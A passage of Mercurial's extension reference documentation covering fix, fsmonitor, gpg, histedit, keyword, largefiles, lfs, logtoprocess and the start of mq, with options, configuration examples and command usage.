The :command suboption forms the first part of the shell command that will be used to fix a file. The content of the file is passed on standard input, and the fixed file content is expected on standard output. Any output on standard error will be displayed as a warning. If the exit status is not zero, the file will not be affected. A placeholder warning is displayed if there is a non-zero exit status but no standard error output. Some values may be substituted into the command:

{rootpath}  The path of the file being fixed, relative to the repo root
{basename}  The name of the file being fixed, without the directory path

If the :linerange suboption is set, the tool will only be run if there are changed lines in a file. The value of this suboption is appended to the shell command once for every range of changed lines in the file. Some values may be substituted into the command:

{first}   The 1-based line number of the first line in the modified range
{last}    The 1-based line number of the last line in the modified range

Deleted sections of a file will be ignored by :linerange, because there is no corresponding line range in the version being fixed.

By default, tools that set :linerange will only be executed if there is at least one changed line range. This is meant to prevent accidents like running a code formatter in such a way that it unexpectedly reformats the whole file. If such a tool needs to operate on unchanged files, it should set the :skipclean suboption to false.

The :pattern suboption determines which files will be passed through each configured tool. See hg help patterns for possible values. However, all patterns are relative to the repo root, even if that text says they are relative to the current working directory. If there are file arguments to hg fix, the intersection of these patterns is used.

There is also a configurable limit for the maximum size of file that will be processed by hg fix:

[fix]
maxfilesize = 2MB

Normally, execution of configured tools will continue after a failure (indicated by a non-zero exit status). It can also be configured to abort after the first such failure, so that no files will be affected if any tool fails. This abort will also cause hg fix to exit with a non-zero status:

[fix]
failure = abort

When multiple tools are configured to affect a file, they execute in an order defined by the :priority suboption. The priority suboption has a default value of zero for each tool. Tools are executed in order of descending priority. The execution order of tools with equal priority is unspecified. For example, you could use the ‘sort’ and ‘head’ utilities to keep only the 10 smallest numbers in a text file by ensuring that ‘sort’ runs before ‘head’:

[fix]
sort:command = sort -n
head:command = head -n 10
sort:pattern = numbers.txt
head:pattern = numbers.txt
sort:priority = 2
head:priority = 1

To account for changes made by each tool, the line numbers used for incremental formatting are recomputed before executing the next tool. So, each tool may see different values for the arguments added by the :linerange suboption.

Each fixer tool is allowed to return some metadata in addition to the fixed file content. The metadata must be placed before the file content on stdout, separated from the file content by a zero byte. The metadata is parsed as a JSON value (so, it should be UTF-8 encoded and contain no zero bytes). A fixer tool is expected to produce this metadata encoding if and only if the :metadata suboption is true:

[fix]
tool:command = tool --prepend-json-metadata
tool:metadata = true

The metadata values are passed to hooks, which can be used to print summaries or perform other post-fixing work. The supported hooks are:

"postfixfile"
  Run once for each file in each revision where any fixer tools made changes
  to the file content. Provides "$HG_REV" and "$HG_PATH" to identify the file,
  and "$HG_METADATA" with a map of fixer names to metadata values from fixer
  tools that affected the file. Fixer tools that didn't affect the file have a
  value of None. Only fixer tools that executed are present in the metadata.

"postfix"
  Run once after all files and revisions have been handled. Provides
  "$HG_REPLACEMENTS" with information about what revisions were created and
  made obsolete. Provides a boolean "$HG_WDIRWRITTEN" to indicate whether any
  files in the working copy were updated. Provides a list "$HG_METADATA"
  mapping fixer tool names to lists of metadata values returned from
  executions that modified a file. This aggregates the same metadata
  previously passed to the "postfixfile" hook.

Commands

File content management

fix

rewrite file content in changesets or working directory:

hg fix [OPTION]... [FILE]...

Runs any configured tools to fix the content of files. (See hg help -e fix for details about configuring tools.) Only affects files with changes, unless file arguments are provided. Only affects changed lines of files, unless the –whole flag is used. Some tools may always affect the whole file regardless of –whole.

If –working-dir is used, files with uncommitted changes in the working copy will be fixed. Note that no backup are made.

If revisions are specified with –source, those revisions and their descendants will be checked, and they may be replaced with new revisions that have fixed file content. By automatically including the descendants, no merging, rebasing, or evolution will be required. If an ancestor of the working copy is included, then the working copy itself will also be fixed, and the working copy will be updated to the fixed parent.

When determining what lines of each file to fix at each revision, the whole set of revisions being fixed is considered, so that fixes to earlier revisions are not forgotten in later ones. The –base flag can be used to override this default behavior, though it is not usually desirable to do so.

Options:

–all
fix all non-public non-obsolete revisions

–base* <REV[+]>*
revisions to diff against (overrides automatic selection, and applies to every revision being fixed)

-r,–rev** <REV[+]>**
revisions to fix (ADVANCED)

-s,–source** <REV[+]>**
fix the specified revisions and their descendants

-w, –working-dir
fix the working directory

–whole
always fix every line of a file

[+] marked option can be specified multiple times

fsmonitor

Faster status operations with the Watchman file monitor (EXPERIMENTAL)

Integrates the file-watching program Watchman with Mercurial to produce faster status results.

On a particular Linux system, for a real-world repository with over 400,000 files hosted on ext4, vanilla hg status takes 1.3 seconds. On the same system, with fsmonitor it takes about 0.3 seconds.

fsmonitor requires no configuration – it will tell Watchman about your repository as necessary. You’ll need to install Watchman from https://facebook.github.io/watchman/ and make sure it is in your PATH.

fsmonitor is incompatible with the largefiles and eol extensions, and will disable itself if any of those are active.

The following configuration options exist:

[fsmonitor]
mode = {off, on, paranoid}

When mode = off, fsmonitor will disable itself (similar to not loading the extension at all). When mode = on, fsmonitor will be enabled (the default). When mode = paranoid, fsmonitor will query both Watchman and the filesystem, and ensure that the results are consistent.

[fsmonitor]
timeout = (float)

A value, in seconds, that determines how long fsmonitor will wait for Watchman to return results. Defaults to 2.0.

[fsmonitor]
blacklistusers = (list of userids)

A list of usernames for which fsmonitor will disable itself altogether.

[fsmonitor]
walk_on_invalidate = (boolean)

Whether or not to walk the whole repo ourselves when our cached state has been invalidated, for example when Watchman has been restarted or .hgignore rules have been changed. Walking the repo in that case can result in competing for I/O with Watchman. For large repos it is recommended to set this value to false. You may wish to set this to true if you have a very fast filesystem that can outpace the IPC overhead of getting the result data for the full repo from Watchman. Defaults to false.

[fsmonitor]
warn_when_unused = (boolean)

Whether to print a warning during certain operations when fsmonitor would be beneficial to performance but isn’t enabled.

[fsmonitor]
warn_update_file_count = (integer)
# or when mercurial is built with rust support
warn_update_file_count_rust = (integer)

If warn_when_unused is set and fsmonitor isn’t enabled, a warning will be printed during working directory updates if this many files will be created.

git

grant Mercurial the ability to operate on Git repositories. (EXPERIMENTAL)

This is currently super experimental. It probably will consume your firstborn a la Rumpelstiltskin, etc.

githelp

try mapping git commands to Mercurial commands

Tries to map a given git command to a Mercurial command:

$ hg githelp – git checkout master hg update master

If an unknown command or parameter combination is detected, an error is produced.

Commands

Help

githelp

suggests the Mercurial equivalent of the given git command:

hg githelp

Usage: hg githelp – <git command>

aliases: git

gpg

commands to sign and verify changesets

Commands

Signing changes (GPG)

sigcheck

verify all the signatures there may be for a particular revision:

hg sigcheck REV

verify all the signatures there may be for a particular revision

sign

add a signature for the current or given revision:

hg sign [OPTION]... [REV]...

If no revision is given, the parent of the working directory is used, or tip if no revision is checked out.

The gpg.cmd config setting can be used to specify the command to run. A default key can be specified with gpg.key.

See hg help dates for a list of formats valid for -d/–date.

Options:

-l, –local
make the signature local

-f, –force
sign even if the sigfile is modified

–no-commit
do not commit the sigfile after signing

-k,–key** <ID>**
the key id to sign with

-m,–message** <TEXT>**
use text as commit message

-e, –edit
invoke editor on commit messages

-d,–date** <DATE>**
record the specified date as commit date

-u,–user** <USER>**
record the specified user as committer

sigs

list signed changesets:

hg sigs

list signed changesets

graphlog

command to view revision graphs from a shell (DEPRECATED)

The functionality of this extension has been include in core Mercurial since version 2.3. Please use hg log -G … instead.

This extension adds a –graph option to the incoming, outgoing and log commands. When this options is given, an ASCII representation of the revision graph is also shown.

Commands

Change navigation

glog

show revision history alongside an ASCII revision graph:

hg glog [OPTION]... [FILE]

Print a revision history alongside a revision graph drawn with ASCII characters.

Nodes printed as an @ character are parents of the working directory.

This is an alias to hg log -G.

Options:

-f, –follow
follow changeset history, or file history across copies and renames

–follow-first
only follow the first parent of merge changesets (DEPRECATED)

-d,–date** <DATE>**
show revisions matching date spec

-C, –copies
show copied files

-k,–keyword** <TEXT[+]>**
do case-insensitive search for a given text

-r,–rev** <REV[+]>**
show the specified revision or revset

–removed
include revisions where files were removed

-m, –only-merges
show only merges (DEPRECATED)

-u,–user** <USER[+]>**
revisions committed by user

–only-branch* <BRANCH[+]>*
show only changesets within the given named branch (DEPRECATED)

-b,–branch** <BRANCH[+]>**
show changesets within the given named branch

-P,–prune** <REV[+]>**
do not display revision or any of its ancestors

-p, –patch
show patch

-g, –git
use git extended diff format

-l,–limit** <NUM>**
limit number of changes displayed

-M, –no-merges
do not show merges

–stat
output diffstat-style summary of changes

-G, –graph
show the revision DAG

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

hgk

browse the repository in a graphical way

The hgk extension allows browsing the history of a repository in a graphical way. It requires Tcl/Tk version 8.4 or later. (Tcl/Tk is not distributed with Mercurial.)

hgk consists of two parts: a Tcl script that does the displaying and querying of information, and an extension to Mercurial named hgk.py, which provides hooks for hgk to get information. hgk can be found in the contrib directory, and the extension is shipped in the hgext repository, and needs to be enabled.

The hg view command will launch the hgk Tcl script. For this command to work, hgk must be in your search path. Alternately, you can specify the path to hgk in your configuration file:

[hgk]
path = /location/of/hgk

hgk can make use of the extdiff extension to visualize revisions. Assuming you had already configured extdiff vdiff command, just add:

[hgk]
vdiff=vdiff

Revisions context menu will now display additional entries to fire vdiff on hovered and selected revisions.

Commands

Change navigation

view

start interactive history viewer:

hg view [-l LIMIT] [REVRANGE]

start interactive history viewer

Options:

-l,–limit** <NUM>**
limit number of changes displayed

Uncategorized commands

highlight

syntax highlighting for hgweb (requires Pygments)

It depends on the Pygments syntax highlighting library: http://pygments.org/

There are the following configuration options:

[web]
pygments_style = <style> (default: colorful)
highlightfiles = <fileset> (default: size('<5M'))
highlightonlymatchfilename = <bool> (default False)

highlightonlymatchfilename will only highlight files if their type could be identified by their filename. When this is not enabled (the default), Pygments will try very hard to identify the file type from content and any match (even matches with a low confidence score) will be used.

histedit

interactive history editing

With this extension installed, Mercurial gains one new command: histedit. Usage is as follows, assuming the following history:

@  3[tip]   7c2fd3b9020c   2009-04-27 18:04 -0500   durin42
|    Add delta
|
o  2   030b686bedc4   2009-04-27 18:04 -0500   durin42
|    Add gamma
|
o  1   c561b4e977df   2009-04-27 18:04 -0500   durin42
|    Add beta
|
o  0   d8d2fcd0e319   2009-04-27 18:04 -0500   durin42
     Add alpha

If you were to run hg histedit c561b4e977df, you would see the following file open in your editor:

pick c561b4e977df Add beta
pick 030b686bedc4 Add gamma
pick 7c2fd3b9020c Add delta

# Edit history between c561b4e977df and 7c2fd3b9020c
#
# Commits are listed from least to most recent
#
# Commands:
#  p, pick = use commit
#  e, edit = use commit, but allow edits before making new commit
#  f, fold = use commit, but combine it with the one above
#  r, roll = like fold, but discard this commit's description and date
#  d, drop = remove commit from history
#  m, mess = edit commit message without changing commit content
#  b, base = checkout changeset and apply further changesets from there
#

In this file, lines beginning with # are ignored. You must specify a rule for each revision in your history. For example, if you had meant to add gamma before beta, and then wanted to add delta in the same revision as beta, you would reorganize the file to look like this:

pick 030b686bedc4 Add gamma
pick c561b4e977df Add beta
fold 7c2fd3b9020c Add delta

# Edit history between c561b4e977df and 7c2fd3b9020c
#
# Commits are listed from least to most recent
#
# Commands:
#  p, pick = use commit
#  e, edit = use commit, but allow edits before making new commit
#  f, fold = use commit, but combine it with the one above
#  r, roll = like fold, but discard this commit's description and date
#  d, drop = remove commit from history
#  m, mess = edit commit message without changing commit content
#  b, base = checkout changeset and apply further changesets from there
#

At which point you close the editor and histedit starts working. When you specify a fold operation, histedit will open an editor when it folds those revisions together, offering you a chance to clean up the commit message:

Add beta
***
Add delta

Edit the commit message to your liking, then close the editor. The date used for the commit will be the later of the two commits’ dates. For this example, let’s assume that the commit message was changed to Add beta and delta. After histedit has run and had a chance to remove any old or temporary revisions it needed, the history looks like this:

@  2[tip]   989b4d060121   2009-04-27 18:04 -0500   durin42
|    Add beta and delta.
|
o  1   081603921c3f   2009-04-27 18:04 -0500   durin42
|    Add gamma
|
o  0   d8d2fcd0e319   2009-04-27 18:04 -0500   durin42
     Add alpha

Note that histedit does not remove any revisions (even its own temporary ones) until after it has completed all the editing operations, so it will probably perform several strip operations when it’s done. For the above example, it had to run strip twice. Strip can be slow depending on a variety of factors, so you might need to be a little patient. You can choose to keep the original revisions by passing the –keep flag.

The edit operation will drop you back to a command prompt, allowing you to edit files freely, or even use hg record to commit some changes as a separate commit. When you’re done, any remaining uncommitted changes will be committed as well. When done, run hg histedit –continue to finish this step. If there are uncommitted changes, you’ll be prompted for a new commit message, but the default commit message will be the original message for the edit ed revision, and the date of the original commit will be preserved.

The message operation will give you a chance to revise a commit message without changing the contents. It’s a shortcut for doing edit immediately followed by hg histedit –continue`.

If histedit encounters a conflict when moving a revision (while handling pick or fold), it’ll stop in a similar manner to edit with the difference that it won’t prompt you for a commit message when done. If you decide at this point that you don’t like how much work it will be to rearrange history, or that you made a mistake, you can use hg histedit –abort to abandon the new changes you have made and return to the state before you attempted to edit your history.

If we clone the histedit-ed example repository above and add four more changes, such that we have the following history:

@  6[tip]   038383181893   2009-04-27 18:04 -0500   stefan
|    Add theta
|
o  5   140988835471   2009-04-27 18:04 -0500   stefan
|    Add eta
|
o  4   122930637314   2009-04-27 18:04 -0500   stefan
|    Add zeta
|
o  3   836302820282   2009-04-27 18:04 -0500   stefan
|    Add epsilon
|
o  2   989b4d060121   2009-04-27 18:04 -0500   durin42
|    Add beta and delta.
|
o  1   081603921c3f   2009-04-27 18:04 -0500   durin42
|    Add gamma
|
o  0   d8d2fcd0e319   2009-04-27 18:04 -0500   durin42
     Add alpha

If you run hg histedit –outgoing on the clone then it is the same as running hg histedit 836302820282. If you need plan to push to a repository that Mercurial does not detect to be related to the source repo, you can add a –force option.

Config

Histedit rule lines are truncated to 80 characters by default. You can customize this behavior by setting a different length in your configuration file:

[histedit]
linelen = 120      # truncate rule lines at 120 characters

The summary of a change can be customized as well:

[histedit]
summary-template = '{rev} {bookmarks} {desc|firstline}'

The customized summary should be kept short enough that rule lines will fit in the configured line length. See above if that requires customization.

hg histedit attempts to automatically choose an appropriate base revision to use. To change which base revision is used, define a revset in your configuration file:

[histedit]
defaultrev = only(.) & draft()

By default each edited revision needs to be present in histedit commands. To remove revision you need to use drop operation. You can configure the drop to be implicit for missing commits by adding:

[histedit]
dropmissing = True

By default, histedit will close the transaction after each action. For performance purposes, you can configure histedit to use a single transaction across the entire histedit. WARNING: This setting introduces a significant risk of losing the work you’ve done in a histedit if the histedit aborts unexpectedly:

[histedit]
singletransaction = True

Commands

Change manipulation

histedit

interactively edit changeset history:

hg histedit [OPTIONS] ([ANCESTOR] | --outgoing [URL])

This command lets you edit a linear series of changesets (up to and including the working directory, which should be clean). You can:

  • pick to [re]order a changeset

  • drop to omit changeset

  • mess to reword the changeset commit message

  • fold to combine it with the preceding changeset (using the later date)

  • roll like fold, but discarding this commit’s description and date

  • edit to edit this changeset (preserving date)

  • base to checkout changeset and apply further changesets from there

There are a number of ways to select the root changeset:

  • Specify ANCESTOR directly

  • Use –outgoing – it will be the first linear changeset not included in destination. (See hg help config.paths.default-push)

  • Otherwise, the value from the “histedit.defaultrev” config option is used as a revset to select the base revision when ANCESTOR is not specified. The first revision returned by the revset is used. By default, this selects the editable history that is unique to the ancestry of the working directory.

If you use –outgoing, this command will abort if there are ambiguous outgoing revisions. For example, if there are multiple branches containing outgoing revisions.

Use “min(outgoing() and ::.)” or similar revset specification instead of –outgoing to specify edit target revision exactly in such ambiguous situation. See hg help revsets for detail about selecting revisions.

Examples:

  • A number of changes have been made. Revision 3 is no longer needed.

Start history editing from revision 3:

hg histedit -r 3

An editor opens, containing the list of revisions, with specific actions specified:

pick 5339bf82f0ca 3 Zworgle the foobar
pick 8ef592ce7cc4 4 Bedazzle the zerlog
pick 0a9639fcda9d 5 Morgify the cromulancy

Additional information about the possible actions to take appears below the list of revisions.

To remove revision 3 from the history, its action (at the beginning of the relevant line) is changed to ‘drop’:

drop 5339bf82f0ca 3 Zworgle the foobar
pick 8ef592ce7cc4 4 Bedazzle the zerlog
pick 0a9639fcda9d 5 Morgify the cromulancy
  • A number of changes have been made. Revision 2 and 4 need to be swapped.

Start history editing from revision 2:

hg histedit -r 2

An editor opens, containing the list of revisions, with specific actions specified:

pick 252a1af424ad 2 Blorb a morgwazzle
pick 5339bf82f0ca 3 Zworgle the foobar
pick 8ef592ce7cc4 4 Bedazzle the zerlog

To swap revision 2 and 4, its lines are swapped in the editor:

pick 8ef592ce7cc4 4 Bedazzle the zerlog
pick 5339bf82f0ca 3 Zworgle the foobar
pick 252a1af424ad 2 Blorb a morgwazzle

Returns 0 on success, 1 if user intervention is required (not only for intentional “edit” command, but also for resolving unexpected conflicts).

Options:

–commands* <FILE>*
read history edits from the specified file

-c, –continue
continue an edit already in progress

–edit-plan
edit remaining actions list

-k, –keep
don’t strip old nodes after edit is complete

–abort
abort an edit in progress

-o, –outgoing
changesets not found in destination

-f, –force
force outgoing even for unrelated repositories

-r,–rev** <REV[+]>**
first revision to be edited

-T,–template** <TEMPLATE>**
display with template

[+] marked option can be specified multiple times

hooklib

collection of simple hooks for common tasks (EXPERIMENTAL)

This extension provides a number of simple hooks to handle issues commonly found in repositories with many contributors: - email notification when changesets move from draft to public phase - email notification when changesets are obsoleted - enforcement of draft phase for all incoming changesets - enforcement of a no-branch-merge policy - enforcement of a no-multiple-heads policy

The implementation of the hooks is subject to change, e.g. whether to implement them as individual hooks or merge them into the notify extension as option. The functionality itself is planned to be supported long-term.

journal

track previous positions of bookmarks (EXPERIMENTAL)

This extension adds a new command: hg journal, which shows you where bookmarks were previously located.

Commands

Change organization

journal

show the previous position of bookmarks and the working copy:

hg journal [OPTION]... [BOOKMARKNAME]

The journal is used to see the previous commits that bookmarks and the working copy pointed to. By default the previous locations for the working copy. Passing a bookmark name will show all the previous positions of that bookmark. Use the –all switch to show previous locations for all bookmarks and the working copy; each line will then include the bookmark name, or ‘.’ for the working copy, as well.

If name starts with re:, the remainder of the name is treated as a regular expression. To match a name that actually starts with re:, use the prefix literal:.

By default hg journal only shows the commit hash and the command that was running at that time. -v/–verbose will show the prior hash, the user, and the time at which it happened.

Use -c/–commits to output log information on each commit hash; at this point you can use the usual –patch, –git, –stat and –template switches to alter the log output for these.

hg journal -T json can be used to produce machine readable output.

Options:

–all
show history for all names

-c, –commits
show commit metadata

-p, –patch
show patch

-g, –git
use git extended diff format

-l,–limit** <NUM>**
limit number of changes displayed

–stat
output diffstat-style summary of changes

–style* <STYLE>*
display using template map file (DEPRECATED)

-T,–template** <TEMPLATE>**
display with template

keyword

expand keywords in tracked files

This extension expands RCS/CVS-like or self-customized $Keywords$ in tracked text files selected by your configuration.

Keywords are only expanded in local repositories and not stored in the change history. The mechanism can be regarded as a convenience for the current user or for archive distribution.

Keywords expand to the changeset data pertaining to the latest change relative to the working directory parent of each file.

Configuration is done in the [keyword], [keywordset] and [keywordmaps] sections of hgrc files.

Example:

[keyword]
# expand keywords in every python file except those matching "x*"
**.py =
x*    = ignore

[keywordset]
# prefer svn- over cvs-like default keywordmaps
svn = True

Note
The more specific you are in your filename patterns the less you lose speed in huge repositories.

For [keywordmaps] template mapping and expansion demonstration and control run hg kwdemo. See hg help templates for a list of available templates and filters.

Three additional date template filters are provided:

utcdate
“2006/09/18 15:13:13”

svnutcdate
“2006-09-18 15:13:13Z”

svnisodate
“2006-09-18 08:13:13 -700 (Mon, 18 Sep 2006)”

The default template mappings (view with hg kwdemo -d) can be replaced with customized keywords and templates. Again, run hg kwdemo to control the results of your configuration changes.

Before changing/disabling active keywords, you must run hg kwshrink to avoid storing expanded keywords in the change history.

To force expansion after enabling it, or a configuration change, run hg kwexpand.

Expansions spanning more than one line and incremental expansions, like CVS’ $Log$, are not supported. A keyword template map “Log = {desc}” expands to the first line of the changeset description.

Commands

Uncategorized commands

kwdemo

print [keywordmaps] configuration and an expansion example:

hg kwdemo [-d] [-f RCFILE] [TEMPLATEMAP]...

Show current, custom, or default keyword template maps and their expansions.

Extend the current configuration by specifying maps as arguments and using -f/–rcfile to source an external hgrc file.

Use -d/–default to disable current configuration.

See hg help templates for information on templates and filters.

Options:

-d, –default
show default keyword template maps

-f,–rcfile** <FILE>**
read maps from rcfile

kwexpand

expand keywords in the working directory:

hg kwexpand [OPTION]... [FILE]...

Run after (re)enabling keyword expansion.

kwexpand refuses to run if given files contain local changes.

Options:

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

kwfiles

show files configured for keyword expansion:

hg kwfiles [OPTION]... [FILE]...

List which files in the working directory are matched by the [keyword] configuration patterns.

Useful to prevent inadvertent keyword expansion and to speed up execution by including only files that are actual candidates for expansion.

See hg help keyword on how to construct patterns both for inclusion and exclusion of files.

With -A/–all and -v/–verbose the codes used to show the status of files are:

K = keyword expansion candidate
k = keyword expansion candidate (not tracked)
I = ignored
i = ignored (not tracked)

Options:

-A, –all
show keyword status flags of all files

-i, –ignore
show files excluded from expansion

-u, –unknown
only show unknown (not tracked) files

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

kwshrink

revert expanded keywords in the working directory:

hg kwshrink [OPTION]... [FILE]...

Must be run before changing/disabling active keywords.

kwshrink refuses to run if given files contain local changes.

Options:

-I,–include** <PATTERN[+]>**
include names matching the given patterns

-X,–exclude** <PATTERN[+]>**
exclude names matching the given patterns

[+] marked option can be specified multiple times

largefiles

track large binary files

Large binary files tend to be not very compressible, not very diffable, and not at all mergeable. Such files are not handled efficiently by Mercurial’s storage format (revlog), which is based on compressed binary deltas; storing large binary files as regular Mercurial files wastes bandwidth and disk space and increases Mercurial’s memory usage. The largefiles extension addresses these problems by adding a centralized client-server layer on top of Mercurial: largefiles live in a central store out on the network somewhere, and you only fetch the revisions that you need when you need them.

largefiles works by maintaining a “standin file” in .hglf/ for each largefile. The standins are small (41 bytes: an SHA-1 hash plus newline) and are tracked by Mercurial. Largefile revisions are identified by the SHA-1 hash of their contents, which is written to the standin. largefiles uses that revision ID to get/put largefile revisions from/to the central store. This saves both disk space and bandwidth, since you don’t need to retrieve all historical revisions of large files when you clone or pull.

To start a new repository or add new large binary files, just add –large to your hg add command. For example:

$ dd if=/dev/urandom of=randomdata count=2000
$ hg add --large randomdata
$ hg commit -m "add randomdata as a largefile"

When you push a changeset that adds/modifies largefiles to a remote repository, its largefile revisions will be uploaded along with it. Note that the remote Mercurial must also have the largefiles extension enabled for this to work.

When you pull a changeset that affects largefiles from a remote repository, the largefiles for the changeset will by default not be pulled down. However, when you update to such a revision, any largefiles needed by that revision are downloaded and cached (if they have never been downloaded before). One way to pull largefiles when pulling is thus to use –update, which will update your working copy to the latest pulled revision (and thereby downloading any new largefiles).

If you want to pull largefiles you don’t need for update yet, then you can use pull with the –lfrev option or the hg lfpull command.

If you know you are pulling from a non-default location and want to download all the largefiles that correspond to the new changesets at the same time, then you can pull with –lfrev “pulled()”.

If you just want to ensure that you will have the largefiles needed to merge or rebase with new heads that you are pulling, then you can pull with –lfrev “head(pulled())” flag to pre-emptively download any largefiles that are new in the heads you are pulling.

Keep in mind that network access may now be required to update to changesets that you have not previously updated to. The nature of the largefiles extension means that updating is no longer guaranteed to be a local-only operation.

If you already have large files tracked by Mercurial without the largefiles extension, you will need to convert your repository in order to benefit from largefiles. This is done with the hg lfconvert command:

$ hg lfconvert --size 10 oldrepo newrepo

In repositories that already have largefiles in them, any new file over 10MB will automatically be added as a largefile. To change this threshold, set largefiles.minsize in your Mercurial config file to the minimum size in megabytes to track as a largefile, or use the –lfsize option to the add command (also in megabytes):

[largefiles]
minsize = 2

$ hg add --lfsize 2

The largefiles.patterns config option allows you to specify a list of filename patterns (see hg help patterns) that should always be tracked as largefiles:

[largefiles]
patterns =
  *.jpg
  re:.*\.(png|bmp)$
  library.zip
  content/audio/*

Files that match one of these patterns will be added as largefiles regardless of their size.

The largefiles.minsize and largefiles.patterns config options will be ignored for any repositories not already containing a largefile. To add the first largefile to a repository, you must explicitly do so with the –large flag passed to the hg add command.

Commands

Uncategorized commands

lfconvert

convert a normal repository to a largefiles repository:

hg lfconvert SOURCE DEST [FILE ...]

Convert repository SOURCE to a new repository DEST, identical to SOURCE except that certain files will be converted as largefiles: specifically, any file that matches any PATTERN or whose size is above the minimum size threshold is converted as a largefile. The size used to determine whether or not to track a file as a largefile is the size of the first version of the file. The minimum size can be specified either with –size or in configuration as largefiles.size.

After running this command you will need to make sure that largefiles is enabled anywhere you intend to push the new repository.

Use –to-normal to convert largefiles back to normal files; after this, the DEST repository can be used without largefiles at all.

Options:

-s,–size** <SIZE>**
minimum size (MB) for files to be converted as largefiles

–to-normal
convert from a largefiles repo to a normal repo

lfpull

pull largefiles for the specified revisions from the specified source:

hg lfpull -r REV... [-e CMD] [--remotecmd CMD] [SOURCE]

Pull largefiles that are referenced from local changesets but missing locally, pulling from a remote repository to the local cache.

If SOURCE is omitted, the ‘default’ path will be used. See hg help urls for more information.

Some examples:

  • pull largefiles for all branch heads:
hg lfpull -r "head() and not closed()"
  • pull largefiles on the default branch:
hg lfpull -r "branch(default)"

Options:

-r,–rev** <VALUE[+]>**
pull largefiles for these revisions

-e,–ssh** <CMD>**
specify ssh command to use

–remotecmd* <CMD>*
specify hg command to run on the remote side

–insecure
do not verify server certificate (ignoring web.cacerts config)

[+] marked option can be specified multiple times

lfs

lfs - large file support (EXPERIMENTAL)

This extension allows large files to be tracked outside of the normal repository storage and stored on a centralized server, similar to the largefiles extension. The git-lfs protocol is used when communicating with the server, so existing git infrastructure can be harnessed. Even though the files are stored outside of the repository, they are still integrity checked in the same manner as normal files.

The files stored outside of the repository are downloaded on demand, which reduces the time to clone, and possibly the local disk usage. This changes fundamental workflows in a DVCS, so careful thought should be given before deploying it. hg convert can be used to convert LFS repositories to normal repositories that no longer require this extension, and do so without changing the commit hashes. This allows the extension to be disabled if the centralized workflow becomes burdensome. However, the pre and post convert clones will not be able to communicate with each other unless the extension is enabled on both.

To start a new repository, or to add LFS files to an existing one, just create an .hglfs file as described below in the root directory of the repository. Typically, this file should be put under version control, so that the settings will propagate to other repositories with push and pull. During any commit, Mercurial will consult this file to determine if an added or modified file should be stored externally. The type of storage depends on the characteristics of the file at each commit. A file that is near a size threshold may switch back and forth between LFS and normal storage, as needed.

Alternately, both normal repositories and largefile controlled repositories can be converted to LFS by using hg convert and the lfs.track config option described below. The .hglfs file should then be created and added, to control subsequent LFS selection. The hashes are also unchanged in this case. The LFS and non-LFS repositories can be distinguished because the LFS repository will abort any command if this extension is disabled.

Committed LFS files are held locally, until the repository is pushed. Prior to pushing the normal repository data, the LFS files that are tracked by the outgoing commits are automatically uploaded to the configured central server. No LFS files are transferred on hg pull or hg clone. Instead, the files are downloaded on demand as they need to be read, if a cached copy cannot be found locally. Both committing and downloading an LFS file will link the file to a usercache, to speed up future access. See the usercache config setting described below.

The extension reads its configuration from a versioned .hglfs configuration file found in the root of the working directory. The .hglfs file uses the same syntax as all other Mercurial configuration files. It uses a single section, [track].

The [track] section specifies which files are stored as LFS (or not). Each line is keyed by a file pattern, with a predicate value. The first file pattern match is used, so put more specific patterns first. The available predicates are all(), none(), and size(). See “hg help filesets.size” for the latter.

Example versioned .hglfs file:

[track]
# No Makefile or python file, anywhere, will be LFS
**Makefile = none()
**.py = none()

**.zip = all()
**.exe = size(">1MB")

# Catchall for everything not matched above
** = size(">10MB")

Configs:

[lfs]
# Remote endpoint. Multiple protocols are supported:
# - http(s)://user:[email protected]/path
#   git-lfs endpoint
# - file:///tmp/path
#   local filesystem, usually for testing
# if unset, lfs will assume the remote repository also handles blob storage
# for http(s) URLs.  Otherwise, lfs will prompt to set this when it must
# use this value.
# (default: unset)
url = https://example.com/repo.git/info/lfs

# Which files to track in LFS.  Path tests are "**.extname" for file
# extensions, and "path:under/some/directory" for path prefix.  Both
# are relative to the repository root.
# File size can be tested with the "size()" fileset, and tests can be
# joined with fileset operators.  (See "hg help filesets.operators".)
#
# Some examples:
# - all()                       # everything
# - none()                      # nothing
# - size(">20MB")               # larger than 20MB
# - !**.txt                     # anything not a *.txt file
# - **.zip | **.tar.gz | **.7z  # some types of compressed files
# - path:bin                    # files under "bin" in the project root
# - (**.php & size(">2MB")) | (**.js & size(">5MB")) | **.tar.gz
#     | (path:bin & !path:/bin/README) | size(">1GB")
# (default: none())
#
# This is ignored if there is a tracked '.hglfs' file, and this setting
# will eventually be deprecated and removed.
track = size(">10M")

# how many times to retry before giving up on transferring an object
retry = 5

# the local directory to store lfs files for sharing across local clones.
# If not set, the cache is located in an OS specific cache location.
usercache = /path/to/global/cache

Commands

Uncategorized commands

logtoprocess

send ui.log() data to a subprocess (EXPERIMENTAL)

This extension lets you specify a shell command per ui.log() event, sending all remaining arguments to as environment variables to that command.

Positional arguments construct a log message, which is passed in the MSG1 environment variables. Each keyword argument is set as a OPT_UPPERCASE_KEY variable (so the key is uppercased, and prefixed with OPT_). The original event name is passed in the EVENT environment variable, and the process ID of mercurial is given in HGPID.

So given a call ui.log(‘foo’, ‘bar %s ‘, ‘baz’, spam=‘eggs’), a script configured for the `foo event can expect an environment with MSG1=bar baz, and OPT_SPAM=eggs.

Scripts are configured in the [logtoprocess] section, each key an event name. For example:

[logtoprocess]
commandexception = echo "$MSG1" > /var/log/mercurial_exceptions.log

would log the warning message and traceback of any failed command dispatch.

Scripts are run asynchronously as detached daemon processes; mercurial will not ensure that they exit cleanly.

mq

manage a stack of patches

This extension lets you work with a stack of patches in a Mercurial repository. It manages two stacks of patches - all known patches, and applied patches (subset of known patches).

Known patches are represented as patch files in the .hg/patches directory. Applied patches are both patch files and changesets.

Common tasks (use hg help COMMAND for more details):

create new patch                          qnew
import existing patch                     qimport

print patch series                        qseries
print applied patches                     qapplied

add known patch to applied stack          qpush
remove patch from applied stack           qpop
refresh contents of top applied patch     qrefresh

